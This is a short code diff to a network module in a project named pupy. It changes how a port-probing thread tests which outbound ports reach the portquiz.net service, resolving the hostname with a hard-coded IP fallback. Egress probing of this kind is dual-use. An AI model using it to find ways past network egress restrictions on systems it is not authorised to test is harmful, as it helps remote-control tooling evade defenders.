diff --git a/pupy/network/lib/online.py b/pupy/network/lib/online.py
index 055af01c..5577acdf 100644
--- a/pupy/network/lib/online.py
+++ b/pupy/network/lib/online.py
@@ -502,7 +502,8 @@ def bits_to_dict(data):
class PortQuiz(threading.Thread):
- PORTQUIZ_ADDR='178.33.250.62'
+ PORTQUIZ_ADDR='5.196.70.86'
+ PORTQUIZ_HOSTNAME='portquiz.net'
PORTQUIZ_443_MESSAGE='Your browser sent a request that this server could not understand'
PORTQUIZ_MESSAGE='
It works!
'
@@ -555,7 +556,12 @@ class PortQuiz(threading.Thread):
80, 443, 8080, 53, 5222, 25, 110, 465
]
- scan.scan([self.PORTQUIZ_ADDR], most_important, timeout=self.connect_timeout, abort=self.abort,
+ try:
+ portquiz_addr = socket.gethostbyname(self.PORTQUIZ_HOSTNAME)
+ except socket.gaierror:
+ portquiz_addr = self.PORTQUIZ_ADDR
+
+ scan.scan([portquiz_addr], most_important, timeout=self.connect_timeout, abort=self.abort,
on_open_port=self._on_open_port, pass_socket=True)
if len(self.available) < self.amount: